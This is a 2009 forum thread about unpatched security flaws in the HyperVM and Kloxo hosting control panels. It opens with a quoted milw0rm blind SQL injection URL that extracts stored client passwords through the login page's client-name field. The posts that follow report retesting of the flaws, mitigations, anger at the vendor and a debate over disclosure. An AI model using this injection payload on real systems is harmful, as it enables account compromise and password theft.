/login/index.php?frm_clientname=$username' and ' ascii(substring((select realpass from client limit 1),$position,1))> $num/*&frm_email=$email&forgot=Send&frm_forgotpw d=2

# milw0rm.com [2009-06-04]
Re: Multiple Security Issues in hyperVM/Kloxo [message #67302 is a reply to message #67091] Sun, 07 June 2009 20:53 Go to previous messageGo to next message
pace  is currently offline pace  United States
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I've updated to the latest version and tested a number of these. It seems that the symlink issue has at least been patched to the point of keeping it from causing a major issue (at least on the ones I've tested so far). I'd encourage others to test as well and post their findings. !!!DO NOT TAKE MY FINDINGS AS INDICATIONS THAT THESE ARE FIXED FOR REAL!!!

Here's what seems to still have a problem or is fixed:

#3: Still an issue
#6: Appears to be fixed in Kloxo and HyperVM
#8: Appears to be fixed in Kloxo (N/A in HyperVM)
#10: Appears to be fixed in Kloxo (N/A in HyperVM)
#11: Appears to be fixed in Kloxo (Haven't tested in HyperVM)
#14: Appears to be fixed in Kloxo (Haven't tested in HyperVM)
#19: Appears to be fixed in Kloxo (Haven't tested in HyperVM)

If you don't see it listed there then I haven't tested it yet.


pace
Re: Multiple Security Issues in hyperVM/Kloxo [message #67303 is a reply to message #67302] Sun, 07 June 2009 21:00 Go to previous messageGo to next message
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pace wrote on Sun, 07 June 2009 17:53
I've updated to the latest version and tested a number of these. It seems that the symlink issue has at least been patched to the point of keeping it from causing a major issue (at least on the ones I've tested so far). I'd encourage others to test as well and post their findings. !!!DO NOT TAKE MY FINDINGS AS INDICATIONS THAT THESE ARE FIXED FOR REAL!!!

Here's what seems to still have a problem or is fixed:

#3: Still an issue
#6: Appears to be fixed in Kloxo and HyperVM
#8: Appears to be fixed in Kloxo (N/A in HyperVM)
#10: Appears to be fixed in Kloxo (N/A in HyperVM)
#11: Appears to be fixed in Kloxo (Haven't tested in HyperVM)
#14: Appears to be fixed in Kloxo (Haven't tested in HyperVM)
#19: Appears to be fixed in Kloxo (Haven't tested in HyperVM)

If you don't see it listed there then I haven't tested it yet.


pace



Thank you! Smile

Re: Multiple Security Issues in hyperVM/Kloxo [message #67307 is a reply to message #67297] Sun, 07 June 2009 21:11 Go to previous messageGo to next message
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R1Lover wrote on Sun, 07 June 2009 20:38
SO since lxhelp is not helping here, I'm going to post this page that is on several sites already... we need to get these items resolved and I know there are several here that can help if the owners of this site are not willing too.

Here it is....

as posted on X



You have got to get the award for idiot of the day.

LXLabs aren't even responding, let alone fixing. All you've just done is cost several thousand people a lot of money in vps accounts and hosting customers.

Genius.

LXLabs have already shown they couldn't give a crap, when they left these know issues in the system for at least 17 days.
Re: Multiple Security Issues in hyperVM/Kloxo [message #67308 is a reply to message #67307] Sun, 07 June 2009 21:15 Go to previous messageGo to next message
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rmwebs wrote on Sun, 07 June 2009 18:11
R1Lover wrote on Sun, 07 June 2009 20:38
SO since lxhelp is not helping here, I'm going to post this page that is on several sites already... we need to get these items resolved and I know there are several here that can help if the owners of this site are not willing too.

Here it is....

as posted on X



You have got to get the award for idiot of the day.

LXLabs aren't even responding, let alone fixing. All you've just done is cost several thousand people a lot of money in vps accounts and hosting customers.

Genius.

LXLabs have already shown they couldn't give a crap, when they left these know issues in the system for at least 17 days.



lmao, so you think because I posted here what is already on hundreds of sites already that it's my fault? lmao

you sir are the idiot along with the other users of lxadmin/kloxo for trusting these guys with there commercial control panel needs.

I use it for personal use only, but I'm still an idiot as well, but not for the reasons you stated, mine is for sticking with lxlabs for two years thinking it might work into a great panel.

I give it a BIG FAIL at this point and it's only getting worse.

There are many great users here that can and will address these issues or at least try to help, if lxlabs doens't want too or can't fix these issues, at least others might give some options to address these issues until they are resolved.

If you want to turn a blind eye to it then go for it..... but after 17 days it needs to be on this forum and we need a fix... that's the bottom line.


[Updated on: Sun, 07 June 2009 21:17]

Re: Multiple Security Issues in hyperVM/Kloxo [message #67313 is a reply to message #67091] Sun, 07 June 2009 21:54 Go to previous messageGo to next message
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Agreed. I've lost all respect for lxlabs.

Botched upgrades turned me off of Kloxo. Now my two VPSs are down (through a2b2/vaserv) due to hypervm issues. And when they come back - i'll most likely not having a functional control panel.

I suggest Lxlabs bring in some professional programmers, linux administrators, and get a decent security team. Also go back to school for business 101.


USNYRHost.com
Re: Multiple Security Issues in hyperVM/Kloxo [message #67314 is a reply to message #67091] Sun, 07 June 2009 22:10 Go to previous messageGo to next message
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Might I suggest, if LxLabs is not capable of handling these issues, to release the source code so those that are capable of fixing the issues on this forum can do so, with no harm coming to our users.

Having to shutdown my kloxo enterprise cluster, and doing everything via locked up kloxo (meaning, no user access, firewalled to only our IP range) is going to completely ruin business efficiency and costs.. notwthstanding user irritation.
Re: Multiple Security Issues in hyperVM/Kloxo [message #67315 is a reply to message #67091] Sun, 07 June 2009 22:13 Go to previous messageGo to next message
dbmv  is currently offline dbmv  Canada
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As well, there is no way to make LxLabs accountable for their arrogant mistakes. cPanel, DirectAdmin, Plesk, are all capable of being held accountable when there is a blatant security issue.

Not to mention, with those panels, issues are fixed within hours of being reported. Not half a month.
Re: Multiple Security Issues in hyperVM/Kloxo [message #67316 is a reply to message #67091] Sun, 07 June 2009 22:22 Go to previous messageGo to next message
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I have a feeling they are either running and hiding, or have given up at this point.

I'm not sure why something like this is not being addressed?

There are over 4000 VPS's just with one provider down right now that I know of, I'm sure many more are to come soon as well.

What are the rest of you going to do?
Re: Multiple Security Issues in hyperVM/Kloxo [message #67317 is a reply to message #67091] Sun, 07 June 2009 22:28 Go to previous messageGo to next message
dbmv  is currently offline dbmv  Canada
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right now, we've shutdown hypervm service on all nodes (the most common functions can be done via ssh anyways), and firewalled the main kloxo install to allow only our ip's.

Kloxo needs to remain up on some level, having a few thousand users not being able to add/remove email or edit DNS would cause too much of a hassle. Already we're doing it all for them, while restricting access.

[Updated on: Sun, 07 June 2009 22:28]

Re: Multiple Security Issues in hyperVM/Kloxo [message #67318 is a reply to message #67091] Sun, 07 June 2009 22:32 Go to previous messageGo to next message
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I feel like an idiot for believing in this CP.

They never listen to the customer, and they promise fixes but never come trough with them.

Should of seen this coming...........


I am now looking to turn back to CPanel or DA.
Re: Multiple Security Issues in hyperVM/Kloxo [message #67319 is a reply to message #67091] Sun, 07 June 2009 22:36 Go to previous messageGo to next message
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The only panel that's comparable in terms of cluster functionality is H-Sphere, which is in the hands of Parallels (and I swore never to go with them ever again.. they are just a larger arrogant version of LxLabs)

Interworx seemed promising, but development appears to be stalled...

Any suggestions?
Re: Multiple Security Issues in hyperVM/Kloxo [message #67325 is a reply to message #67091] Mon, 08 June 2009 00:20 Go to previous messageGo to next message
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This is really disappointing to see such problems and no urgent fixes come out today.
Re: Multiple Security Issues in hyperVM/Kloxo [message #67337 is a reply to message #67091] Mon, 08 June 2009 02:08 Go to previous messageGo to next message
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So.....I see a lot of bickering about HyperVM/Kloxo, you must all know about another control panel that is 50 cents per VPS and that can managed Xen and OpenVZ VPS's. Can you give me the link? I think we would all be interested in moving as well....
Re: Multiple Security Issues in hyperVM/Kloxo [message #67339 is a reply to message #67337] Mon, 08 June 2009 02:17 Go to previous messageGo to next message
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There is Vtonf, which is open sourced for OpenVZ. A bit of tinkering, and you can get it to do Xen as well.

HyperVm and Kloxo are not special. They're written in PHP and tie in a lot of API's and functions. Of course there will be issues, but the problems start when the developer ignores them for 17days (security issues), and months (feature/bug fixes).
Re: Multiple Security Issues in hyperVM/Kloxo [message #67340 is a reply to message #67091] Mon, 08 June 2009 02:23 Go to previous messageGo to next message
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Looks pretty nice...

I sort of wish that lxlabs would increase their VPS pricing to at least $1/vps instead of 50 cents. Maybe this way they can hire additional programmers. Having so many exploits is unbelievable and is their worst nightmare.

However, i'm pretty confident after all of these providers getting hacked, the LXLabs team will be working 24/7 to make their software better.

Our whole entire HyperVM infrastructure was hacked on May 12th, it started with the master server and they gained access to all the slaves and deleted everything. Unfortunately no exploits were public at the time and someone was testing their new findings on us.

[Updated on: Mon, 08 June 2009 02:25]

Re: Multiple Security Issues in hyperVM/Kloxo [message #67352 is a reply to message #67340] Mon, 08 June 2009 04:31 Go to previous messageGo to next message
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Hi,


I am also willing to pay more for Hypervm or Kloxo if they hire additional programmers and speaking for myself i do not need a refund.

As far as i know, Lxlabs is still runned by one person.
What will happen if he gets ill or worse....
Nobody has the source code and nothing can be changed anymore.

Steven
Re: Multiple Security Issues in hyperVM/Kloxo [message #67353 is a reply to message #67308] Mon, 08 June 2009 04:36 Go to previous messageGo to next message
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R1Lover wrote on Sun, 07 June 2009 21:15
rmwebs wrote on Sun, 07 June 2009 18:11
R1Lover wrote on Sun, 07 June 2009 20:38
SO since lxhelp is not helping here, I'm going to post this page that is on several sites already... we need to get these items resolved and I know there are several here that can help if the owners of this site are not willing too.

Here it is....

as posted on X



You have got to get the award for idiot of the day.

LXLabs aren't even responding, let alone fixing. All you've just done is cost several thousand people a lot of money in vps accounts and hosting customers.

Genius.

LXLabs have already shown they couldn't give a crap, when they left these know issues in the system for at least 17 days.



lmao, so you think because I posted here what is already on hundreds of sites already that it's my fault? lmao

you sir are the idiot along with the other users of lxadmin/kloxo for trusting these guys with there commercial control panel needs.

I use it for personal use only, but I'm still an idiot as well, but not for the reasons you stated, mine is for sticking with lxlabs for two years thinking it might work into a great panel.

I give it a BIG FAIL at this point and it's only getting worse.

There are many great users here that can and will address these issues or at least try to help, if lxlabs doens't want too or can't fix these issues, at least others might give some options to address these issues until they are resolved.

If you want to turn a blind eye to it then go for it..... but after 17 days it needs to be on this forum and we need a fix... that's the bottom line.






Im certainly not defending LXLabs (take a look at my thread in the security forum). I'm mearly saying posting the bugs here just makes it worse. You're contributing to peoples servers and livelihoods getting destroyed. Let me paint you a little picture:

- Take a 16 (ish) year old kid, a member of these forums....runs a little hosting biz with lxadmin off a vps account because its cheap.

- That kid sees your post, and goes crazy on all the vps and kloxo hosts that leave their website address in their sig.

- Hosts wiped out.

Its on other sites all over the place, granted. But posting it here is just bloody stupid.

For the record, we/I dont use Kloxo. We use(d) hypervm but hated it so much that we were in the middle of making our own panel.
Re: Multiple Security Issues in hyperVM/Kloxo [message #67363 is a reply to message #67091] Mon, 08 June 2009 08:43 Go to previous messageGo to next message
dbmv  is currently offline dbmv  Canada
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The silence from lxlabs is deafening. No updates, no clarity, nothing

And if we look at it only from when it was published / last update, it's almost 72 hours now. Completely horrendous for a company that has products out, touted itself as secure (within reason), and has many hosting companies using it in full fledged production environments.

Either get a third party security audit (and reports made available to us, so your paying users can verify), or just open up the code and let people handle it.

Even Parallels, a horrid company in its own right, doesn't take long to report and fix security issues (and most of them still exist, minus the symlink ones which you fixed).
Re: Multiple Security Issues in hyperVM/Kloxo [message #67366 is a reply to message #67091] Mon, 08 June 2009 09:45 Go to previous messageGo to next message
bliss  is currently offline bliss  United Kingdom
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Were not happy either, we have had to shut down HyperVM on our server farm, and doing everything manual is a real pain in the ass.

But we have been with some of the bigger panels also before, they don't even reply to you when you say your server been hacked by exploits in their panel. Not slagging them off but in the past using cPanel I have known of it hacked / exploited a few times in the past few years.

People make programs, others want to break it (inquisitiveness maybe or dam right ignorance) but either way, i am sure all the posts slagging off lx aint helping them fix it any faster.

We're going to stick with Lx for a while longer and (*try*) to manage everything manually for a few days (sigh).

Just to stick my 2 penny worth in Wink

Jane
Re: Multiple Security Issues in hyperVM/Kloxo [message #67390 is a reply to message #67091] Mon, 08 June 2009 14:46 Go to previous messageGo to previous message
Speedy059  is currently offline Speedy059  United States
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I know there is a lot of negativity going on towards LXLabs...but the fact is that thousands of people use HyperVM/Kloxo and it would be much appreciate if you guys could give us a update in regards that you guys are working on fixing these exploits right now.

lxlabs?
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